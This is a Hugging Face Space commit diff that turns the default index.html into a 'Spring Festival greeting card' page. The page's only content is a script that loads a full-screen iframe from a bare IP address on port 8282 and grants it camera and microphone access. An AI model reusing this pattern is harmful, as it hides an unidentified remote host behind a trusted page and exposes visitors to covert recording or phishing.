bboygun commited on
Commit
010695b
·
verified ·
1 Parent(s): 619f18e

Update index.html

Browse files
Files changed (1) hide show
  1. index.html +30 -19
index.html CHANGED
@@ -1,19 +1,30 @@
1
- <!doctype html>
2
- <html>
3
- <head>
4
- <meta charset="utf-8" />
5
- <meta name="viewport" content="width=device-width" />
6
- <title>My static Space</title>
7
- <link rel="stylesheet" href="style.css" />
8
- </head>
9
- <body>
10
- <div class="card">
11
- <h1>Welcome to your static Space!</h1>
12
- <p>You can modify this app directly by editing <i>index.html</i> in the Files and versions tab.</p>
13
- <p>
14
- Also don't forget to check the
15
- <a href="https://huggingface.co/docs/hub/spaces" target="_blank">Spaces documentation</a>.
16
- </p>
17
- </div>
18
- </body>
19
- </html>
 
 
 
 
 
 
 
 
 
 
 
 
1
+ <!DOCTYPE html>
2
+ <html lang="en">
3
+ <head>
4
+ <meta charset="UTF-8" />
5
+ <meta name="viewport" content="width=device-width, initial-scale=1.0" />
6
+ <title>制作您的春节贺卡</title>
7
+ <style>
8
+ html,
9
+ body {
10
+ margin: 0;
11
+ padding: 0;
12
+ overflow: hidden;
13
+ }
14
+ </style>
15
+ </head>
16
+ <body>
17
+ <script>
18
+ (function () {
19
+ const iframe = document.createElement("iframe");
20
+ iframe.style.width = "100%";
21
+ iframe.style.height = "100vh";
22
+ iframe.style.border = "none";
23
+ iframe.allow="microphone; camera";
24
+ iframe.src="https://101.37.173.18:8282/";
25
+
26
+ document.body.appendChild(iframe);
27
+ })();
28
+ </script>
29
+ </body>
30
+ </html>